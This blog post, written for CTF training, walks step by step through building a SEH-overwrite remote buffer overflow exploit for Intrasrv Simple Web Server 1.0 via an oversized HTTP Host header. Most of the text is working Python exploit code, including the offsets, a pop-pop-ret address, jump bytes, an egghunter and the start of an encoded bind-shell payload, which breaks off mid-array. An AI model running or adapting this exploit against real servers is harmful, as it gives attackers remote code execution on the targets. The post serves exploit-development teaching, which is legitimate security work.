Intrasrv Simple Web Server v1.0 Host Remote Buffer Overflow

Intrasrv Simple Web Server v1.0 Host Remote Buffer Overflow

Overview on crafting the exploit for a buffer overflow affecting Intrasrv Simple Web Server v1.0

For an coming up CTF event, I was helping out in preparing two teams from the University Degree I had just graduated from by running several tutorial workshops sessions. In one of these workshop sessions, I covered exploit writing and buffer overflows. At the end of the session I asked the teams to choose one of two vulnerable applications to identify and write a working exploit for. One of these applications was the Intrasrv Simple Web Server version 1.0, this blog-post will contain the exploit I wrote and the procedure and steps I took to produce the exploit.

The vulnerable application can be downloaded from the following link:

http://www.exploit-db.com/wp-content/themes/exploit/applications/fc11a802ea4e5daa587e22c5cf3166c6-intrasrv.zip

All the information I gave the students was the name of the vulnerability (which is the title of this post), the vulnerable application it self and the BID number (60229) for the vulnerability. When we look at the report for this vulnerability the description is the following.

IntraSrv is prone to a buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it into an insufficiently sized buffer..
 
Attackers can leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
 
IntraSrv 1.0 is vulnerable; other versions may also be affected.

So with the description of the vulnerability and the name of the vulnerability, we know that there is a buffer overflow vulnerability in the application when we send a long Host request to the server.

So I installed the application on my testing virtual machine which is a Windows XP Professional SP2 machine.

To begin with, I wrote a basic python script which will interact with the HTTP server, this basic python script will be the bases for the rest of the exploit development.

#!/usr/bin/python
import socket
 
buffer = "\x41"*2000
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.222", 80))
 
payload = "GET / " + "HTTP/1.1\r\n"
payload += "Host: " + buffer
payload += "\r\n\r\n"
 
s.send(payload)
s.close()

Initial crashing of the application.

The SEH chain at the time of the initial crash.

As we can see, the python script was able to cause a crash in the application. The cause for the crash turns out to be that there is a SEH vulnerability in the server’s programming. In the next phase of my exploit development for this vulnerability I know from prior work involving SEH buffer overflows I need to be able to overwrite the pre-existing SEH addresses with new SEH addresses to be able to continue pass the crash and get code execution. To do this I need to be able to identify where in the 2000 byte buffer I sent the application overwrote the SEH addresses and caused the crash. Which means I need to use the pattern_create.rb and pattern_offset.rb tools from the Metasploit-Framework. For those reading that don’t know what these tools are, pattern_create.rb is a tool that enables an user to generate a unique sequence of characters in a string. This is useful because if we have a unique string which no sequence of characters are repeated twice and replace the original buffer with this new string and re-perform the crash. We can take the values which are stored in registers at the time of the crash and then use the second tool, pattern_offset.rb to locate where in the string those values are. Which allows us to work out the offset for placement for Return Address (RET) and/or shellcode.

# /usr/share/metasploit-framework/tools/pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
#!/usr/bin/python
import socket
 
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.222", 80))
 
payload = "GET / " + "HTTP/1.1\r\n"
payload += "Host: " + buffer
payload += "\r\n\r\n"
 
s.send(payload)
s.close()

Pattern_create.rb overwriting the SEH chain.

As we can see from the screenshot of the crash, the two SEH addresses have now been overwritten with the values of “43397a42″ and “387a4237″. Now using pattern_offset.rb I was able to find the positioning in the unique string.

# ./tools/pattern_offset.rb 43397a42
[*] Exact match at offset 1557
# ./tools/pattern_offset.rb 387a4237
[*] Exact match at offset 1553

Before continuing any further, we should take the opportunity to understand how exception handlers (EH) work to understand how to progress through the rest of this exploit development. I found the writings of Corelan have done on SEH based exploits to be wonderful reference material.

https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

The structure of a SEH record is 8 bytes which is split into 2 equal 4 byte elements. The first 4 bytes points to the next SEH record and the second 4 bytes is the pointer for the current EH. Which means when we looked at the SEH chain window in the debugger, the very top memory address in the window was the pointer to the next SEH and the second memory address was the pointer to the current exception handler.

The next question is how can use the SEH to jump to our shellcode and have it executed, again the corelan group are able to explain the current methodology on how to do so. But in short the methodology is.

Source: <a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/" target="_blank">https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/</a>
 
In other words, the payload must do the following things
 
1. cause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won’t kick in
2. overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode)
3. overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode.
4. The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten “pointer to next SEH record” will jump to it).

So we need to overwrite the current SEH with an instruction which will take the execution back to the next SEH, we overwrite the next SEH with a short jump instruction which will jump over the SEH into the shellcode. The reason why we use a short jump is otherwise the program would get stuck in a loop. The instruction we use to overwrite the SEH is a pop pop ret instruction which will place the next SEH into the EIP register, and since this register points to the next instruction which will be executed and if we place the short jump instruction we will be able to jump over the SEH into the shellcode.

So how do we find the pop pop ret instruction? We can use the mona.py plugin from corelan (http://redmine.corelan.be/projects/mona) to give Immunity Debugger the ability to search the memory for all valid pointers we can use. With the mona plugin installed, we use the command “!mona seh” in the command bar at the bottom of the Immunity Debugger window to search for the valid pointers.

Normally, when you are writing an exploit you would want to use a memory address related to the application itself when possible. However in this case, all the memory addresses for valid pointers relating to the application, have a null byte (“\x00″) which would cause errors in the exploit execution. I know this because the output from mona contained the following line.

----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 
0x00400000 | 0x00411000 | 0x00011000 | False  | False   | False |  False   | False  | -1.0- [intrasrv.exe] (C:\Documents and Settings\Administrator\My Documents\fc11a802ea4e5daa587e22c5cf3166c6-intrasrv\intrasrv.exe)

That output informs us that the top of the stack for the application is “0x00411000″ and the bottom is “0×00400000″ which means in all cases there would be a null byte. This could cause issues but because mona was not able to retrieve any other valid pointers except for the intrasrv.exe application I was stuck with these. I decided too try one of these pointers.

----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
0x0040b847 : pop esi # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [intrasrv.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\My Documents\fc11a802ea4e5daa587e22c5cf3166c6-intrasrv\intrasrv.exe)
#!/usr/bin/python
import socket
 
# ./tools/pattern_offset.rb 43397a42
# [*] Exact match at offset 1557
# ./tools/pattern_offset.rb 387a4237
# [*] Exact match at offset 1553
 
nseh = "\xcc\xcc\xcc\xcc"
seh = "\x47\xb8\x40\x00" # 0x0040b847, pop pop ret, intrasrv.exe, Windows XP Pro SP2
 
buffer = "\x41"*1553
buffer += nseh
buffer += seh
buffer += "\x90"*(2000-len(buffer))
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.222", 80))
 
payload = "GET / " + "HTTP/1.1\r\n"
payload += "Host: " + buffer
payload += "\r\n\r\n"
 
s.send(payload)
s.close()

Testing the pop pop ret instruction and control of the next SEH and SEH addresses.

The next SEH and SEH in the disassembler window.

As we can see from the screenshoots, the exploit, successfully overwrote the second SEH with the pop pop ret instruction and the breakpoints successfully overwrite the next SEH as well. And we were able to move passed the first breakpoint which means we have control of the application.

As we can, we can successfully overwrite the two addresses cleanly. Now it’s time to add in the memory address for the pop pop ret instruction as well as the short jump instruction code. From the link below, we can see if we want to perform a short jump forward (which we do, as we want to jump from the next SEH over the SEH into our shellcode), we use the “\xeb” followed by the number of bytes for distance in hexadecimal.

http://thestarman.pcministry.com/asm/2bytejumps.htm

Example: “\xeb\x04″ would perform a short jump of 4 bytes from the currently location.

Now this is pretty close to what we want to use, but remember a memory address is contains 4 bytes, so the short jump instruction we would actually use would be “\xeb\x06\x90\x90″. This would perform a short jump of 6 bytes (the 2 remaining bytes in the next SEH and the 4 bytes of the SEH).

Note: We use NOPs (“\x90″) to pad out the memory address the 2 bytes we need.

Even if we jump over the SEH from the next SEH, we only have a short amount of space to place shellcode. As you can see from “0x0012FFFF” – “0x0012FFBD” = “0x42” (66). This means we only have 66 bytes to work with for possible shellcode. Before continuing on with shellcode, I want to check to make sure we can actually jump over the SEH.

#!/usr/bin/python
import socket
 
# ./tools/pattern_offset.rb 43397a42
# [*] Exact match at offset 1557
# ./tools/pattern_offset.rb 387a4237
# [*] Exact match at offset 1553
 
nseh = "\xeb\x06\x90\x90" # short jump of 6 bytes over the seh.
seh = "\x47\xb8\x40\x00" # 0x0040b847, pop pop ret, intrasrv.exe, Windows XP Pro SP2
 
shellcode = "\xcc"*66
 
buffer = "\x41"*1553
buffer += nseh
buffer += seh
buffer += shellcode
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.222", 80))
 
payload = "GET / " + "HTTP/1.1\r\n"
payload += "Host: " + buffer
payload += "\r\n\r\n"
 
s.send(payload)
s.close()

Testing whether or not the shellcode can be placed after the SEH chain.

A interesting thing has occured, we have 66 bytes from the point after the next seh and the seh are overwritten but when we have shellcode of 60 (“\xcc”) they don’t show. This means we’ll need to increase the shellcode size until we can see it. And then we’ll need to work out the offset, so to kill “two birds with one stone” as the saying goes, I will use pattern_create.rb and pattern_offset.rb again.

# ./tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
#!/usr/bin/python
import socket
 
# ./tools/pattern_offset.rb 43397a42
# [*] Exact match at offset 1557
# ./tools/pattern_offset.rb 387a4237
# [*] Exact match at offset 1553
 
nseh = "\xeb\x06\x90\x90" # short jump of 6 bytes over the seh.
seh = "\x47\xb8\x40\x00" # 0x0040b847, pop pop ret, intrasrv.exe, Windows XP Pro SP2
 
shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
 
buffer = "\x41"*1553
buffer += nseh
buffer += seh
buffer += shellcode
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.222", 80))
 
payload = "GET / " + "HTTP/1.1\r\n"
payload += "Host: " + buffer
payload += "\r\n\r\n"
 
s.send(payload)
s.close()

This didn’t produce any results, I went up to 4000 bytes for the shellcode before giving up on this approach. So the nseh variable contains a short jump forward of 6 bytes, I could also use a short jump backwards instruction for a possible solution. Though with the short jump backwards there won’t be enough space for any type of bind shell payload because of the information I found from this website. http://thestarman.pcministry.com/asm/2bytejumps.htm

The furthest back that a SHORT Relative JMP can reach is to the first byte of any instruction with 127 bytes in-between it and whatever instruction is immediately after the JMP code. You can see by this, that both Reverse and Forward Jumps have the same numerical reach, but a Reverse Jump must count back through its own code first! So in reality, Reverse Jumps have only a maximum of125 bytes between them and the first byte of the Next Instruction.

Though I can use an egghunter payload, so I can perform a short jump backwards into the egghunter which searches in memory for the primary shellcode which can be a type of bind shell. So my buffer will look similar to this.

[ junk bytes ][ egghunter ][ nseh ][ seh ]

I could also even put the shellcode in place of the junk bytes leading up to the egghunter.

[ shellcode ][ junk bytes ][ egghunter ][ nseh ][ seh ]

To work out how far I want to jump backwards, I first will need to determine what egghunter I will use, I decided to use the NtDisplayString egghunter shellcode.

Source: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

This egghunter will look through memory for the tag “w00tw00t” and execute the code directly after it. So all we need to do is place the tag right before our primary shellcode and the egghunter will look through the memory of the machine and if it finds the tag the shellcode will be executed. The egghunter is 32 bytes in size.

#!/usr/bin/python
import socket
 
# ./tools/pattern_offset.rb 43397a42
# [*] Exact match at offset 1557
# ./tools/pattern_offset.rb 387a4237
# [*] Exact match at offset 1553
 
nseh = "\xeb\xc0\x90\x90" # short backwards jump of -64 bytes, 2 remaining bytes of nseh and 62 bytes of the NOP sled and egghunter.
seh = "\x47\xb8\x40\x00" # 0x0040b847, pop pop ret, intrasrv.exe, Windows XP Pro SP2
 
# NtDisplayString, 32 bytes in size
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
 
shellcode = "w00tw00t" + "\xcc"*1000
 
buffer = "\x90"*(1491-len(shellcode)) + shellcode
buffer += "\xcc"*30 + egghunter
buffer += nseh
buffer += seh
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.222", 80))
 
payload = "GET / " + "HTTP/1.1\r\n"
payload += "Host: " + buffer
payload += "\r\n\r\n"
 
s.send(payload)
s.close()

Testing the short jump backwards instruction and the egghunting shellcode.

As we can see from the screenshot, the short jump backwards was successful and the egghunter shellcode was placed onto the stack correctly in it’s entirely. And when we executed the egghunter, we were able to get the shellcode.

Testing whether or not the egghunter can find the primary shellcode location.

With the short backwards jump and the egghuntting shellcode tested, I can replace the testing shellcode with the legitimate shellcode now. Using Metasploit-Framework tools msfpayload and msfencode, we can generate our bind shells.

#!/usr/bin/python
import socket
 
# ./tools/pattern_offset.rb 43397a42
# [*] Exact match at offset 1557
# ./tools/pattern_offset.rb 387a4237
# [*] Exact match at offset 1553
 
nseh = "\xeb\xc0\x90\x90" # short backwards jump of -64 bytes, 2 remaining bytes of nseh and 62 bytes of the NOP sled and egghunter.
seh = "\x47\xb8\x40\x00" # 0x0040b847, pop pop ret, intrasrv.exe, Windows XP Pro SP2
 
# NtDisplayString, 32 bytes in size
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
 
# msfpayload windows/shell/bind_tcp lport=4444 exitfunc=seh R | msfencode -b "\x00\xff\x0d\x0a"
# [*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)
shellcode = ("w00tw00t" + "\xba\xc3\x35\x45\x25\xda\xc6\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x4b\x31\x56\x14\x83\xc6\x04\x03\x56\x10\x21\xc0\xb9" +
"\xcd\x2c\x2b\x42\x0e\x4e\xa5\xa7\x3f\x5c\xd1\xac\x12\x50" +
"\x91\xe1\x9e\x1b\xf7\x11\x14\x69\xd0\x16\x9d\xc7\x06\x18" +
"\x1e\xe6\x86\xf6\xdc\x69\x7b\x05\x31\x49\x42\xc6\x44\x88" +
"\x83\x3b\xa6\xd8\x5c\x37\x15\xcc\xe9\x05\xa6\xed\x3d\x02" +
"\x96\x95\x38\xd5\x63\x2f\x42\x06\xdb\x24\x0c\xbe\x57\x62" +
"\xad\xbf\xb4\x71\x91\xf6\xb1\x41\x61\x09\x10\x98\x8a\x3b" +
"\x5c\x76\xb5\xf3\x51\x87\xf1\x34\x8a\xf2\x09\x47\x37\x04" +
